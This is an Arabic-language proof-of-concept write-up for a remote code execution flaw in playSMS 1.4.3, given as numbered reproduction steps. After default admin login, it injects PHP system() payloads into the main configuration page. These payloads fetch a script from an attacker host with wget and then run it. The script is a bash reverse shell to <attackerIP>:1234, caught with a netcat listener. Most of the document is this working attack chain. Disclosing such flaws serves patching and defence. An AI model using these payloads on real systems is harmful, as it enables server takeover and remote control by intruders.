CVE-playsms

توجد ثغرة في playsms 1.4.3 تسمح للمهاجمين المحتملين بتنفيذ أكواد عن بُعد (Remote Code Execution).

كيفية إعادة إنتاج RCE (shell):

https://playsms.org/

• docker pull playsms/playsms:1.4.3
• docker run -d -p 80:80 playsms/playsms
• سجّل الدخول باستخدام admin:admin
• http://127.0.0.1/index.php?app=main&inc=core_main_config&op=main_config#tabs-information-page
• استضف ملف bash خبيث على جهاز المهاجم
• نزّل الملف الخبيث باستخدام wget على الجهاز
• أدخل <?php system("/usr/bin/wget http://<attackerIP>/rev.sh"); echo "done" ?>
• احفظ المعلومات (ستختفي من حقل الإدخال لكنها ستظل تعمل)
• http://127.0.0.1/index.php?app=main&inc=core_welcome
• أعد تحميل الصفحة http://127.0.0.1/index.php?app=main&inc=core_main_config&op=main_config#tabs-information-page
• امنح صلاحية التنفيذ لسكربت الصدفة - <?php system("chmod +x rev.sh && ./rev.sh") ?>)
• احفظ ثم قم بزيارة * http://127.0.0.1/index.php?app=main&inc=core_welcome للحصول على تنفيذ الأكواد
• شغّل مستمع netcat محليًا لالتقاط الصدفة البعيدة

rev.sh

#!/usr/bin/bash
bash -c "bash -i >& /dev/tcp/<attackerIP>/1234 0>&1"